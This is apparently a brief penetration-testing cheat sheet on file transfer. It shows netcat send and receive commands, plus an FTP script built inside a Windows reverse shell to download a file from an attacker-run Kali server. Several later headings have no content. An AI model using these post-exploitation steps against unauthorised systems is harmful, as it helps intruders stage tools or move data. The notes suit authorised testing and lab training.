File Transferring
Via NetCat
#On the Receiving Machine
nc -l -p 9999 > received_file.txt
#On the Sending Machine
nc 10.10.10.10 9999 < received_file.txtVia FTP
This is especially useful for non-interactive Windows reverse shells
# In Kali
pip install pyftplib
python -m pyftpdlib -p 21 -w
# In reverse shell
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -v -n -s:ftp.txtVia TFTP
Via HTTP
Using basic commands
Using VBS on a Windows reverse shell
Using javascript on a Windows reverse shell
Using Certutil on a Windows reverse shell
Last updated
Was this helpful?